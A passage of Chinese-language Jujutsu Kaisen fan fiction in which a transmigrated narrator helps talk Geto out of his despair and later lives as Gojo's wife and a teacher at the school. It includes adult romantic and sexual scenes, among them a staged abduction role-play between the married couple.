他目光幽远,陷入了回忆。
“第一次吞下咒灵玉的时候,我心里刚因为自己的能力生出的英雄情节就被铺天盖地的晦涩吞噬,无论我怎么呕吐哭泣请求痛苦都无法将它拿出来。”
“但人是自愈能力很强的家伙,我畏惧这样的感觉,却在发现我能用它救人的时,我的内心得到了救赎。”
“痛苦是强者的必经之路,强者必须保护弱者。”
“咒术师是为了保护非咒术师而存在的。”
夏油杰说:“我一直是这样想的。”
我更加用力握着他的手,企图能给出一些力量。
五条悟咬着牙,抓着他的手逐渐松开,把人扔回沙发,张了张口,“他们怎么样关你什么事”“照顾弱者很麻烦啊”“不觉得大道理都很无趣吗”这种话现在根本说不出口。
“……可恶!”
“我们不是最好的朋友吗!来高专后你就没有想过像我或者夜蛾求助吗?”
他说完狠狠转头,这种看似指责的话,一经出口他就有些后悔了。
我递给他一个安抚的眼神,握着夏油杰的手蹲在沙发边,声音有些沙哑:“是因为理子的事情让你更痛苦了吗?”
心里将正念当做不断活动的支柱的杰,在发现自己所做的自己认为正确的事情其实是助纣为虐的时候,他的信念崩塌了。
他无声的将我的手握得更紧,甚至有些疼痛。
“不,前段时间偶尔跟着我的辅助监督先生,在等我的时候被民众杀死了。”
夏油杰看着地面:“是我让他在村子外等我的,那个村子里的普通人将有天赋的孩子锁起来虐待,愚昧的想要将她们当做恶魔杀死。”
他顿了顿:“强者本该要保护弱者,可是……现在的我做不到,那些人的嘴脸我还记得,弱者的气息让我想吐。”
我用力抿唇,面色发白和申请冷峻的五条悟对视一眼,发生了这样的事情,他们居然不知道。
“那个时候我要已经动手了,我想要杀死所有人,要是都死掉就好了,咒灵会给所有人带来痛苦……要是制造出咒灵的弱者都死掉就好了……”
“是小一的信息叫住了我,她邀请我一起参加旅行,我有点舍不得大家……”
所以还没来得及动手。
怎么会这样。
我看到有水滴落在深色的地面,深吸一口气起身将他的脑袋抱在怀里,一下下安抚着扫过他的黑发,后背覆上一具高大的身躯将我们一起拥住。
“那种强行让自己走向保护他人道路的理念,果然杰是一个温柔的人。”
我带着鼻音继续说:“明明自己都那么痛苦了,杀掉所有人的事情对杰来说轻易就可以做到,但你为了我们停下了,那就勉为其难原谅你好了。”
“谢谢你能告诉我们。”
五条悟微笑:“如果你觉得那些家伙太烂的话,亲自去不就好了,三年级后,我们推举你去总监会怎么样?”
他们三人的手交叠在一起。
“我知道杰心里的怒火,在那些家伙身上发泄出来也没事,我们一起来拯救更多人吧。”
夏油杰看着他们心中无时不刻煎熬的火焰,终于得到舒缓。
“喂,你们在搞什么感人的友谊活动居然不叫我?”
抱在一起的三人齐齐看向门外,家入硝子放开环在身前的手,走过来放上一只手:“作为同期,姑且也算我一个。”
我看到同期唯一的女性好友,冲过去抱住硝子,故作坚强的表情绷不住,在她怀中默默流泪。
第60章
十年后。
在总监会和其他两家的反对下, 不属于五条家平民出生的咒术师夏油杰于2008年正式从高专毕业进入总监会任职。
作为代表着高专一方的平民咒术师进入咒术界权利的中心,在五条家和高专的支持下不断为底层咒术师争取利益,推崇放开部分权力于官方分担一线咒术师的重担。
反对派在其过于激进的手段下,对他恨之入骨。
与此相反大部分非世家出身的咒术师以及年轻一代都对这位发起改革的代表人物异常崇拜。
“他作为帮我们打开真正视野、争取权利的总监会成员与高专的关系也难以分割互相支持。”
讲台上的黑发女人看向窗外,轻咳一声抬手关掉ppt,双手合十看向下面眼神亮晶晶的三双眼睛。
“总之今天的课程就到这里, 接下来的文化课请继续加油~”
粉色头发的少年兴奋的举手:“呐呐黑川老师!我有问题我有问题!”
我收拾着讲台上的资料,已经带过几届学生的我已经不是最初一被提问就紧张到僵直的萌新了。
我看向虎杖悠仁,这个孩子吞食了特级咒物奇迹般变成了两面宿傩的容器,面临着坎坷的命运,性格却非常爽朗可爱。
我微微一笑:“呐悠仁君请讲。”
虎杖悠仁身边飘着小花:“夏油学长确实很厉害不错,但作为总监会成员的学长为什么还要去那个盘星教当教主呢!”
钉崎野蔷薇脸色尴尬:“居然就这么光明正大说出来了。”
伏黑惠托着腮转头:“白痴。”
虽然那个什么盘星教听起来不是什么正经教会的样子,据说学长的手段也非常暴力,但也不能这么光明正大在黑川老师面前说吧,夏油学长可是她的友人。
我愣了愣, 没想到这件事都传进学校了。
“啊这个啊,不要这幅表情,哈哈哈哈其实也没什么不好说的啦,因为这样行事很方便啊。”
我伸出一根手指比比划划:“就是说如果总是一个人的话, 虽然有我们的支持但是杰在总监会地位果然还是不如想象中稳定呢。”
“但如果是拥有人脉资源手段也不怎么温和的盘星教教主作为成员之一的话,提出什么建议的时候,就不会总是有人蹦出来唧唧歪歪了吧。”
哎呀,一不小心说了粗口, 应该不要紧吧。
我赶紧看向我的学生。
虎杖悠仁眼睛里写满了好厉害:“这就是大人的战场啊…”
我:“……”
我默默提起东西加快脚步下班, 果然下次还是让杰自己来上时政比较好,这可都是幼苗啊。
“小一,还没下课吗?”
身穿五条袈裟的黑发男人出现在教室外, 披散的黑发和黑色耳钉让他看起来自有股不好惹的气势,但脸上的表情却很温柔帅气。
教室里的三个脑袋齐刷刷的看向窗外。
伏黑惠:“夏油学长?”
虎杖悠仁兴奋:“哇,真的是学长啊。”
钉崎野蔷薇捧脸:“虽然年纪大了点,居然是个温柔系池面啊。”
我看见他眼神一亮:“你今天下班这么早?还以为又要到最后才出场呢。”
夏油杰接过她的资料袋和她一起并肩往外走。
他声音有些无奈:“就别取笑我了,最近来投靠的咒术师比较多,我之后就会闲下来。”
“而且昨天是谁给我打了好几个电话提醒我不要忘记时间?”
我默默挺胸:“今天是我的生日哦。”
头顶一重,被他搓了搓脑袋。
夏油杰放松道:“知道了,不会忘的。”
我甩开他的手,确定他今天应该不会跟我计较,踹了他脚踝一下转身就跑:“都说了多少次了,不要总是摸我的头发,很难打理的啊!”
夏油杰看着她飞快跑远的背影,捂着脚踝唇角微抽,那头被人养护得很好绸缎般的黑发在她身后甩动。
“这家伙下手越来越重了…是杀熟的类型吗?”
不过十年过去我们都没变真是太好了。
两个个小时后,围坐在教职工宿舍的同期三人看着黑川一豪迈的拿着酒瓶吨吨吨,一只脚踏在桌上,满脸通红的抱怨着含糊不清的话。
他和硝子对视一眼,额角流下一滴冷汗。
不,变化最大的就是这家伙了啊,为什么会从腼腆少女变成酒鬼啊? !
他徒劳的劝着黑川一:“小一快下来,不要把脚踩在桌上……别人身上也不行啊!”
家入硝子已经笑得躺在沙发上了。
夏油杰按着额角,捏着身上小腿把她按在沙发上,伤脑筋的看向五条悟:“你们发生什么了?”
他打量着十年过后越发成熟帅气的挚友,这家伙还掌管着五条家,说起来也算是帅气多金。
他在五条悟和醉醺醺的黑川一身上看了几圈,表情逐渐沉了下来:“喂,你不是在外面…才导致小一喝酒的吧?”
家入硝子捂着嘴发出诡异的噗嗤。
听了他的话五条悟倏然脸色黑沉的扛着醉醺醺的家伙起身,头也不回的往外走:“我们先回去了,总之不是你想的那样。”
他的声音逐渐远去。
“……我很珍惜她。”
夏油杰抱臂看向笑得发抖的家入硝子,眼神逐渐危险。
她自觉举手投降:“你是不是故事听多了哈哈哈,那两个家伙还需要我们担心吗?”
夏油杰回忆了一下,几年来但凡相聚的场景都必然要黏在一起的两人,迟疑:“说的也是。”
她溜溜达达往外走:“最主要是某个酒鬼因为戒酒的事情和那家伙闹别扭,总之咱们还是别管了。”
“戒酒…?”
我晕晕乎乎的落进一片柔软的床垫上,嗅着熟悉的气息把脑袋埋了进去,过了一会儿又觉得少了点什么,从床上挣扎着坐了起来。
朦胧的视野当中,十年过去肩膀更加宽厚的身影靠在阳台,修长的指尖夹着一根燃着星火的香烟。
我看不清他的神情,但总觉得有点陌生。
通过阳台的冷风吹过,我一个激灵清醒过来,有些懊恼的敲了敲脑袋,明明答应了他会控制的,结果还是没忍住喝过头了。
我悄无声息的滑下床,赤着脚走向他。
一直到我从背后贴上他,他也没有回头,以他的能力不可能没有发现我。
明明以前总是恨不得总是贴在一起,现在却对我这么冷淡。
我侧脸贴在他温热的脊背,无下限习惯性的将我包括在内,眼神茫然,有些不知所措。
忽然想起了我停滞的任务进度。
我不理解,为什么任务进度总是差最后一点点,却不得寸进。
如果那代表着爱情,是否意味着我自认为的感情其实还不够深刻,但我已经不知道还能怎么爱他了。
如果一个十年都得不到的东西,就算再努力下去我大概也做不到吧。
况且我有预感十年已经是任务时长的极限了。
这十年我不后悔,有这样优秀的伴侣还有这几个可以交托后背的朋友,这是我在接下任务之前从没想过的生活。
……只是稍微有点遗憾呢。
在任务世界玩了十年,任务成功的奖励反而没那么重要了,只是……失败的话就不会再见了吧。
不会再见了啊。
我缓缓松手,表情自然的打了个哈欠,整理了一下被他亲手打理得油光水滑的长发,慢吞吞的走进浴室。
我知道就算不转头,他也能看见我的表情,所以克制着没有露出让他担心的神情。
杰说我没变,才不对,现在的我就算内心再胆怯,也可以做出一副风轻云淡的样子。
怎么说也是家主夫人,不能总是给他带来麻烦。
我锁上浴室门:“好困,我先洗澡了哦。”
门外一直没有声音,直到我躺进浴缸,身体开始放松,熟悉的声音才在门外响起。
十年后他的嗓音带上了成熟男性的低沉。
特别是某些时候,比别的手段都要让人沉溺。
“有点事,我出去一趟,今晚不用等我。”
五条悟站在浴室门外,耐心等待着她的回应。
我微微下滑将下半张脸缩进水里,点点头,又轻咳一声出声:“辛苦了。”
门外的脚步声渐渐远去,我呼出一口气,失去了再泡下去的心情,从水里站起来。
裹上浴衣披散着湿漉漉的黑发往外走去,布置温馨的房间是这么多年来我们两个一点点布置的,所有地方都有他的影子。
我扑倒在大床上打开游戏机投屏,鸽了很长时间的游戏再次启动,手柄哒哒哒的声音一直响到深夜。
我终于支撑不住把自己卷进被子里睡去。
其实任务失败也好、没有全部的爱意也好,我在乎的只是好像看不见的东西在逐渐消失,而我什么都抓不住。
晚上忽然被叫起来加班的五条悠汇报完工作进展,实在没什么可以说了,只能局促的坐在原地和面无表情的家主大人面面相觑。
他坐立不安了一会儿,还没找到话题,五条悟就忽然站了起来。
“家主大人?”
五条悟的声音从很远的地方传来:“今天就到这里,你回去吧。”
五条悠往他消失的方向看了一眼,叹了口气,背影萧瑟的离开主院的书房。
夫人到底什么时候才能和家主和好啊,他们快顶不住了。
五条悟站在门外手指搭在门上竟然有片刻的犹豫,却还是敌不过心里想见她的欲望。
房间里一片漆黑,空气中还混杂着浅淡的沐浴露的香气。
熟悉的味道让他僵硬的背影下意识放松。
他不再犹豫往里走去,两人亲手挑选的床上鼓着一个小丘,只有一小段黑发散落在外。
我在黑暗中睁眼,就算是通过寂静中浅淡的呼吸声,我都能确定来人的身份。
不再像往常一样在他下班的时候迫不及待的蹦过去,我装作熟睡,对一切都置之不理。
忽然想起来……我忘了给他留灯了。
不过这种状态应该不会很久,在最后的时间我会调整好心情好好对待大家。
我把坦白的话吞了下去,如果注定是不会再见的话,就算说出来也只是给他增加困扰,说起来十年时间说短不短,这家伙也才不到三十岁而已。
等我走了之后……说实话果然还是有点不甘心。
散落的发丝忽然传来轻柔的拉扯,发根传来丝丝酥痒,我闭上了眼睛,唇角的笑意温暖。
算了。
如果一个人的幸福是有限度的,那我的早就已经透支了。
明天去硝子那里把东西拿回来吧。
在头发被轻轻擦拭梳理的动作中,我安心的陷入梦乡。
家入硝子放下手里的试管,漫不经心的表情收了起来,敛眉看向她:“收回?为什么突然这么想。”
“说起来去年你突然交给我这个的时候我还吓一跳,这么早布置遗言感觉很可疑啊。”
我干笑一声:“怎么可能是遗言,我的能力你又不是不知道,只是一些不还意思当他面说的话,不知道怎么处理,还是放在硝子这里比较安心嘛。”
接过那薄薄的信封,我找了个借口逃过她的盘问,路过垃圾桶时把撕开的信件扔了进去。
里面是情到浓时,写下的是不该被这个世界的大家所知道的话。
我双手插兜往办公室走去,在抽屉里装满的橘子味和樱花味的棒棒糖中,随手挑了一个塞进嘴里。
“真是昏了头了。”
任务失败还被看到那些话的话,他肯定很难过。
我戳了戳桌上的双人照:“总之还是过好当下吧,唔,今天他要去出差来着,去找硝子开女子茶话会好了。”
我趴在桌子上给硝子发了个短信,她很快就回了一个“OK”的表情,犹豫了一下,还是没有给他发消息。
反正今天早上他说了不回来。
“好了,今天的课程就到这里,下课。”
“辛苦了~”
我朝可爱的学生们露出一个微笑,提着单肩包往外走,硝子已经在外面等了。
衣摆却忽然被抓住。
我茫然回头对上一双充满求知欲的眼睛,歪了歪头。
钉崎表情充满求知欲:“黑川老师,你居然和五条老师是夫妇吗?!”
啊咧?
孩子们都不知道吗?
我拍了拍她的脑袋,果然手感不错:“是哦。”
虎杖悠仁暗暗握拳:“猜对啦!”
伏黑惠忍了忍还是没忍住转过头,不去看那两个傻子。
钉崎回想了一下温柔高大又身居高位的夏油学长和性格超级烂的五条老师,忍不住嘟囔了一句。
“可恶,为什么会是五条老师啊,明明同期还有这样的优质男!”
我被她坦率的性格逗笑了:“可能是注定吧。”
“注定?”
五条悟的声音忽然插了进来,他揽着妻子向自己的学生炫耀:“当然啦,我和小一可是一见钟情哦。”
家入硝子翻了个白眼。
为什么要和学生炫耀这种东西啊。
顶着学生惊叹的眼神,我茫然。
有这回事吗
他捏着我的脸颊,脸上笑眯眯的,蓝眸中却满是认真:“有啊。”
五条悟带着我离开,朝硝子打了个招呼:“人我就带走了,下次再一起聚餐吧。”
家入硝子朝不情不愿的黑川一递了个安抚的眼神,早有预料:“我要吃最贵的。”
一直到被带回宿舍被迫坐在他身上还没回过神。
我小心翼翼的和他对视:“不是说今天晚上出差吗?”
五条悟看着她小心试探的眼神心里突然被刺了一下,拿起不知何时遗落在沙发上的领带,把那双眼睛挡住才稍微好了点。
“那种事情不一定要我亲自去,找到适合的人分配下去就好了,比起这个我更关心你。”
我在黑暗中快速眨眼:“我很好啊。”
虽然不知道什么时候就会突然离开,但我已经做好准备了。
五条悟握着她的腰,凑过去含住那双不坦率的唇,轻易撬开后在里面舔舐了一圈。
“橘子味。”
他抵着她的额头,仔细观察她的表情:“小一真的没有什么想对我说的话吗?”
我摇摇头,环住他的脖颈把脸颊埋进他的发间:“我没事,就这样和我待一会儿吧。”
五条悟靠在沙发上环着怀中的身体,却有种即将失去的紧迫感,他耗费时间查遍了所有资料都无法找到关于时空裂缝的资料。
如今只能一点点将人收拢在怀中,才能缓解心中的不安。
“小一?”
“嗯?”
“最近很忙,总是让你一个人,抱歉。”
我摇摇头,工作上的事情而已:“不用抱歉,工作已经很辛苦了,再说都这么大了,我偶尔一个人也没关系。”
短促的、布料撕裂的声音响起,然后是什么东西被搅动细密水声。
五条悟单手扣住她的脊背,声音闷闷的,眼神执着:“不行,我要和小一一直在一起。”
“小一这么喜欢我,舍得放我一个人吗?”
他说着可怜兮兮的话,手里的动作却没有停过,修长的手指就这样一点点消失不见。
趴在他身上的我根本无暇回答他的问题,奇异的感觉不断涌向全身,埋在他身上的脸滑落到他的肩头,无声喘息着张口咬住他的肩膀。
眼神逐渐湿润,泪珠挂在眼角要落不落。
剧烈的羞耻感让她的血液一股股涌上大脑。
“不……不要……”
他一下一下安抚着我的脊背,动作却毫不迟疑。
我呜咽着滴落两颗泪花。
声音却被锁在腰上双手掐得粉碎。
我断断续续的小声央求,换来的是更加急促的喘息打在耳边,带起一小片红晕。
可恶……说好的女子茶话会,为什么这么家伙会回来啊!
我心中抱怨,手臂却不自觉的收紧,在宣泄的情绪中,我可以尽情哭泣悲伤快乐。
当一切结束,我无力的卷着被子躺在床上,感受到他一下下落在耳边的啄吻。
忽然懂了。
爱情就只是爱情。
它不分浓淡浅薄,也无法化作数据,随心所欲的控制。
而这个人……我可以肯定他现在绝对也只爱我。
我转身把自己团进他怀里。
这就够了。【你现在阅读的是 】
60-70
第61章
冬日的清晨拉开窗帘,窗户上凝结着薄薄的水汽。
我昨天晚上难得睡了个好觉,今天竟然是先醒的那一个,穿着单薄的睡衣站在散发着融融暖意的卧室里,看着一片银白的雪景,胸口有种莫名的安宁。
我伸出一根手指,利用窗上的水汽秒摸着院子里的那颗压着沉沉雪色的松鼠,幼稚的简笔画末端凝聚出一颗颗水珠顺着玻璃滑下。
细微的脚步声从身后靠近,而后肩膀一沉,一颗同样生长着雪色发丝的脑袋搁了上来。
他刚睡醒的声音还有些沙哑,融入了恰当的笑意:“在看什么?”
“刚刚睁开眼睛发现你不在还真是吓到我了。”
我拿湿漉漉的手指头也不回的在玻璃上印出的脑袋上戳了戳,没忍住往身后温度更高一些的胸膛里靠了靠。
“我也不总是赖床的,还不是你总是压缩我的睡眠时间。”
我控诉到最后忽然有点想笑,唇角抿起, 眼睛情不自禁的弯成月牙。
虽然那种事情也是两厢情愿的就是了。
我望着镜子里陌生的笑脸,说起来也还真是没想到我居然也会有在另一个人面前这么放松的时候。
五条悟原本是靠在我肩膀上闭眼养神, 怀中传来的细小颤动让他重新睁开眼睛, 天空一般的瞳孔在倒映出另一个人的时候变得柔软。
他也看到了我点在玻璃倒影上的手指。
我戳在玻璃上的手被一只干燥温暖的手包裹着抬起,宽大的手掌自然的摩擦过上面的湿痕,然后重新变得干燥的手带着另一个人的暖意落在他柔软的发丝上。
五条悟声音含笑:“为什么要摸那个,我不是就在这里吗?”
清晨睡醒的雪白短发还有些凌乱,但仍然是与主人性格不相符的柔软,纤细的指尖动了动顺着发丝的纹路摸了摸。
窗户里的白发男人重新低头靠了回来,有些冷冽的气质尽数化成春水, 黏黏糊糊的与妻子亲昵。
这样日常的互动我们已经持续了十年。
我一点点用手将他的头发梳理开,然后抵着他的额头转身:“好啦清醒一点,今天不是要出门吗?”
却一点也不腻。
五条悟没有顺着我的动作起来,而是直接圈着我提起来一起进了衣帽间,随手拎出一套高专制服往身上比划。
“穿这件怎么样?”
大概是因为这家伙的热情好像都没有消退的一天吧。
我握拳在唇边轻咳一声:“我觉得这套吧,不去高专的话偶尔也可以换一换形象。”
那是一套放入衣帽间就没有穿过的西装,这种整肃的黑色西装,他似乎没有在我面前穿过。
我尽量让表情漫不经心,看起来只是随手一指。
选中的西装被他拿在手里看了两眼,若有所思的眼睛落在我身上,还好我转身及时,绷住了表情。
五条悟望着她微红的耳根,表情有些意味深长,等到换了衣服出来,房间里已经空无一人。
他拉开房门走了出去,目不斜视的穿过复杂古典的木质长廊,还没走到餐厅就听到了她的声音。
“谢谢由美子酱,那个帮我打包一份吧。”
我吞下口中的面包,捧着脸幸福的看着可爱的女仆在厨房忙碌。
啊,今天的早餐也超级好吃。
定好的闹钟响起。
我提起打包好的甜点往外走,这个点从五条老宅去高专正常来说已经完全来不及了,我走出餐厅意料之中见到了熟悉的身影。
白发男人宽阔的肩膀撑起笔挺的西装,他早已脱离了少年人清爽纤瘦的体型,取而代之的是更加漂亮宽厚有力量感的成熟体态。
西装外套被两只修长的手扣住,属于成年男人性感的腰线如流水般自然而然的展现,不自觉吸引了我的视线。
那只手朝我靠近,如之前的无数次一样,揽住我的腰,我抬起浮现热意的脸和他交换了一个拖延到现在的早安吻。
以毫不留情踩在他的脚背上为结束。
我喘息着向后退了一步,把打包好的甜点递过去:“都说了不要咬,可恶,舌头好痛。”
厨房里传来一声脆响,然后是略显慌乱的脚步声,由美子还没有习惯五条大人与夫人在一起时过于柔软的一面。
五条悟表情无辜,更加红润的唇角让那张脸多了几分色气,总是令人惊叹的蓝瞳专注的看着他的妻子。
黑发女人总是暗淡的深蓝色瞳孔燃着令他愉悦的火焰,白皙的脸颊带着瑰丽的色泽,打理齐整的长发因为他的动作而变得凌乱……他喜欢这种因他而起的动人变化。
手指轻轻挑起散落的发丝,将它置于指尖。
五条悟愉悦的看着她的脸越来越红,盛着指责的瞳孔都开始闪烁,发自内心的露出一个笑容。
“那是因为小一实在是太可爱了,让我忍不住想要看看更多的表情。”
我看着他修长有力的手指凑近我的脸,紧接着眼角传来温热的摩挲,听见了他近乎撒娇的低语。
“我想看你哭。”
“……”
我尽量将胸口逐渐加速的心跳抛诸脑后,把甜点扔到他身上,加快脚步冲了出去。
“那是不可能的你这个笨蛋!”
迟到就迟到,今天我一定要离他远一点!
留在原地的五条悟看着她落荒而逃的背影,没忍住捂着肚子大笑出声,厨房里再次传来手忙脚乱的声音,他还带着笑意的瞳孔扫了过去。
偷偷好奇的往那边看的女仆陡然瑟缩了一下,无力的跪坐在地,直到那人离开才逐渐恢复了力气。
她站在厨房的角落,瘦弱的肩膀微微颤抖,隐藏在黑暗中的眼睛却格外摄人。
那就是五条大人啊。
果然和传闻中一样与小家族出身的妻子十分恩爱。
她忍不住不断回想,那双盛着未散去的笑意,却冰冷得令人生畏的眸子。
我还是迟到了。
面对讲台下三双单纯的眼睛,我有些心虚的转过头,总之还是先说重点好了。
“咳,今天有一件事情要通知大家。”
虎杖悠仁活力满满的举手:“难不成和老师迟到的半个小时有关系吗?”
……能不能别提迟到的事情了,好心虚。
唯一的女孩子钉崎面无表情的用手肘捅了左边满脑子肌肉的笨蛋一下,不要因为黑川老师的表情很有趣就没完没了啊!
“啊疼!”
“你干什么啊钉崎!”
伏黑惠扫过教室外似乎有些不安的身影,扶额:“别吵了,你们两个,好像有插班生。”
“诶?!”
被猜中了。
我心中叹了口气,还是微笑着朝教室外过于瘦弱的黑发少年招了招手:“进来吧。”
“这位是吉野顺平,因为各种各样的原因进入高专学习,大家要好好相处哦。”
伏黑惠吐槽:“这原因也太敷衍了吧。”
虎杖悠仁双眸一亮拍着桌子起身:“是顺平啊!”
刚才还一脸不安的吉野顺平表情平静了点,就连身上阴郁的气质都消散了许多,腼腆的笑了。
“虎杖君好久不见,大家好,我是吉野顺平,因为被黑川老师救了被建议来高专学习,请多指教。”
我让他下去坐好,翻开准备好的教案。
说什么救了,实际上只是不小心碰上了而已,而且那个时候是吉野君先开口的。
想要自我拯救的表情,不管怎么样都没办法放着不管。
不过和虎杖认识倒是意外之喜,真是太好了。
我挎着包走在下山的阶梯上,打开被静音的手机,果不其然被某个家伙的信件塞满了。
“都看不到其他人的消息了真是的……”
这样说着,我不自觉露出一个微笑。
下一刻眼前一黑,冰凉的环扣圈上脖颈,我的身体瞬间失去了力气。
什么人?
我失去了意识。
等到再次恢复意识身体还是一片无力,被绑在椅背的双手挣动,手腕摩擦出淡淡的血痕。
我警惕的听着周围的动静,不断尝试转动身体挣脱绳索。
到底是什么人竟然敢在高专范围动手,是最近小动作越来越多的五条家,还是越发贪婪的黑川家,或者是总监会老头子下的手?
说起来最近杰很忙来着。
“不用再挣扎了,夫人。”
低沉粗粝的声音从身后传来,我头皮一麻,挣扎的动作顿住。
这么近的距离我竟然一点都没发现!
我冷静地说:“你想要什么?”
那人轻笑一声,声音粗哑难听,语调尾音却微微上扬带着一股漫不经心的从容。
一只手搭上我的肩膀,然后缓缓向我的脖颈移动。
“放轻松夫人,我没想怎么样,只不过你们让我失去了这么多,我总要从你身上收回点什么。”
带着薄茧的指腹擦过我的下颌,微微停顿,然后按住我的唇角将它拉开。
“不要这么用力咬,我会心疼。”
我被绑缚在黑暗中的眼眸闪过冷意,警告:“你最好想清楚这么做的后果。”
我后背紧绷,在陌生人逗弄似的触碰下胸口泵出一大团岩浆,将我的呼吸都点燃。
这家伙,这家伙如果真的敢做什么,我就强制脱离,离开之前也要给这狗东西几刀!
从容的脚步声转了一圈,从身后来到我的身前,他好奇似的一点点解开我的外套,若有似无的痒意拂过我的鼻尖。
那人声线上扬:“看来夫人想通了?”
我偏了偏头,鼻尖擦过那人的脖颈,浅淡的味道钻进鼻腔。
第62章
熟悉的香气钻进鼻腔。
我维持着面上的怒意,心里却迅速平静下来,动了动嘴唇本想要直接拆穿。
脑海却忽然闪过昨天看过的帖子。
不知道是什么时候收藏的贴主,发送的新帖第一时间就推送给我,名字也很奇怪。
[爱心][玫瑰][玫瑰]DOKIDOKI攻略第二期心跳来袭!关于攻略后如何满好感这件事, 天才少女为你解答~[烟花][爱心]
……
总结来说。
1.多多亲密有利于感情提升哦。
2.承诺是恋人之间保鲜的秘密~快和他许下一辈子的约定吧~
3.如果以上两点都无法达成目标,那就是缺少最重要的东西——时间!用时间来发酵感情,水到渠成才是甜蜜感情的最好结局~
嗨!本次分享就到这里……
虽然看起来很不靠谱,评论也像是水军一样, 但我莫名对天才攻略少女的帖子有股信任感。
第二点和第三点都已经很充分了,第一点的话……说实话我有点苦恼。
一般来说如果某件事第一次体验感不太好的话,正常人都会选择趋利避害的对吧。
我想到那个时候的第一次,那是我们毕业后回到老宅的第一晚,饶是我做好了准备那天也能称之为惨烈。
也许是我哭得很厉害之后也有点害怕, 我们之间那种事情反而比较少,每天睡在一起我能感觉到那家伙其实是在迁就我。
……说了这么多,可害怕还是会害怕啊!
我沉浸在迎难而上还是知难而退的艰难抉择中, 温热的气息拂过耳垂,激起一大片小疙瘩。
“这种时候还在走神?”
他嗓音倏然沉了下去,捏着她的下巴强硬的让她抬起头,粗暴的吻猝不及防的落了下来。
后脑勺被一只大掌扣住,不留一丝退路,柔软的唇重重的碾压着她的,带着压抑释放疯狂。
在这样单纯的磨蹭中, 我品尝到了鲜血的味道, 双唇刺痛又灼热,如同被暴雨的大掌毫不留情摩擦碾压过的花朵。
氧气告急我晃着脑袋挣扎着想要得到片刻喘息,唇角被重重舔舐,那人趁间隙继续深入,动作深重如同朝圣的旅人,每一次纠缠都带着强烈的侵略性。
我被绑在椅子上双目被布条捆绑,在这片漆黑的孤岛中无力的承受着过于灼热的情感。
他在通过这样一个无所顾忌的吻,来宣泄压抑与心中的某种感情,微微泄露的喘息带着让我无法抗拒的吸引力。
我仰着头从茫然到挣扎,再到现在的纵容,听着耳边过于清晰的水声,心中迷茫。
他有什么在瞒着我,才会积累出这样的感情。
很快我就无法再进行更多的思考,他的吻逐渐下落,我越是顺从他的动作似乎就越是粗暴,带着冰凉的怒意。
从缝隙中吹进来的冷风抚在我身上,带来片刻的瑟缩。
他突然退开一步,蓝眸灼灼的注视着被迫坐在椅子上,向他露出独一无二风景的妻子,毫不犹豫的俯身凑近。
轻飘飘的布料摩擦声响起。
我在黑暗中迟钝的眨眼,勾勒出他的现在的模样,身穿笔挺西装的白发男人衬衫在刚才的纠缠中变得凌乱褶皱,说不定还落下了几滴湿润的痕迹,此时笔挺的脊背弯曲,就这样单膝跪在散发着淡淡灰尘的空旷房间——我的身前。
脑海中描绘出的景象让我眼眸湿润。
绑在身后的手指无力的张开在空气中徒劳的战栗,修长有力的双腿动了动。
我呜咽着出声:“呜,放开我。”
身体被禁锢在原地,就连情绪也变得孤独,我想念他宽阔结实的怀抱,温热的手掌,以及同时落下的带着爱意的吻。
而不是各自为营的欢愉。
但另一人此刻显然不能与她心意相通,他及时赶来后看着他可爱的妻子被绑在椅子上,被黑布遮掩的小脸苍白,无助的只能依靠他的时候就石更了。
他天蓝色的瞳孔自下而上的看着她。
湿润又挣扎的模样轻而易举让他的隐忍崩塌。
他心头挣扎又柔软,双手却坚定的握上了她并拢的膝盖。
早上才一点点抚过的柔软触感擦过膝盖,我扬起脑袋,生理性的泪珠湿润了眼前的布条。
……不一样。
和以前的任何一次都不太一样。
过于柔软悠长耐心,带着爱意的安抚,让她紧绷的神经逐渐放松,如同柔软的溪流顺着他越发肆意的动作如流水般起伏。
奇怪,我张开双唇,徒劳的呼吸着冰凉的空气。
感觉和每一次都不太一样。
有一瞬间她甚至怀疑自己是不是认错了人。
为什么是这种……
好热、喘不过气、过于酸涩却让人轻飘飘的感到幸福。
不知何时双手和小腿上的绳子被解开,我得到了短暂的休息,被转身落入那人怀中的时候,听着他同样抑制不住急促的喘息,活动着发麻的手腕缠绕上他的肩背。
我试图支起身体,没坚持两秒还是跌入他的怀里,干脆放弃了陪他玩绑架游戏。
我凑过去,嘴唇贴上他的耳垂,小声说:“我好累,带我回去吧。”
五条悟整个人都有些烧红,眼睛亮得惊人,望着怀中的妻子耳边是她黏黏糊糊的请求心里柔软又幸福。
正想起身带她离开这里。
这里有点太冷了,他担心她身体受不了,也该回去了。
他将人打横抱着起身,身体却突兀的僵住,每秒能处理无数信息的大脑迟缓了一瞬,小心翼翼的回忆着刚刚他有暴露身份吗?
五条悟天才的大脑干脆停止运转,重新拢紧妻子的身体,加快脚步。
我在呼呼的风声中,从他怀中抬起脑袋,眼睛上的布条还没解开,但不妨碍我找到他的唇角。
抱着某种惩罚的坏心思,我轻轻啄吻他毫无回应的唇。
在身上的力道越来越重的时候,抓住他的衣领强行把人拽了下来,慵懒的声线里绷不住笑意。
“今天难得穿了我喜欢的衣服,结果什么都没看见,我好难过。”
在风雪中,饶是心思千回百转,仍然将怀中的人围得严严实实的五条悟一怔,然后向前一点点亲了亲她露出的、带着笑意的眼睛。
他笑着说:“是我的错。”
不该让他珍视的精心养护的花朵陷入他造成的恶劣的选择困境当中。
“现在我们一起回家吧。”
我昏昏欲睡的靠在他的肩膀上,很快在平稳的步伐中陷入了沉睡,彻底失去意识之前,我含含糊糊的挤出了一句。
“回去之后不许打搅我,这次的事晚点再说,好困。”
回应的是他过于柔和的嗓音,仿佛害怕惊扰到什么。
我在半梦半醒中勾唇 ,想要嘲笑他声音怎么忽然奇奇怪怪的,夹成这样,最终也只是轻笑出声。
夫人在老宅休息的更好,所以家主大人才经常带着人住回来。
这是目前五条家所有人的共识。
所以当家主大人穿着一身前襟被蹂躏得皱皱巴巴的西装,抱着夫人出现在结界内的时候,众人都习惯性退开,将空间留给他们。
夫人性格还挺好相处的。
主要是家主大人在和夫人独处时,那种想要独占的气息实在是太明显了,一般这个时候就算是最没有眼力见的长老在几次过后也老实了。
不过家主大人住在家里,能处理的东西自然比当初不回来的时候多。
而且夫人在的时候,他也会刻意收敛一些。
“等等。”
低头贴着墙安静离开的女仆停下脚步,垂头转身等待。
五条悟扫过几人,随后点了一个眼熟的:“你去卧室外侯着,小一醒了先让她吃点东西,安静点别打扰她。”
被点到的女仆藏住眼中的茫然,快步跟在她身后。
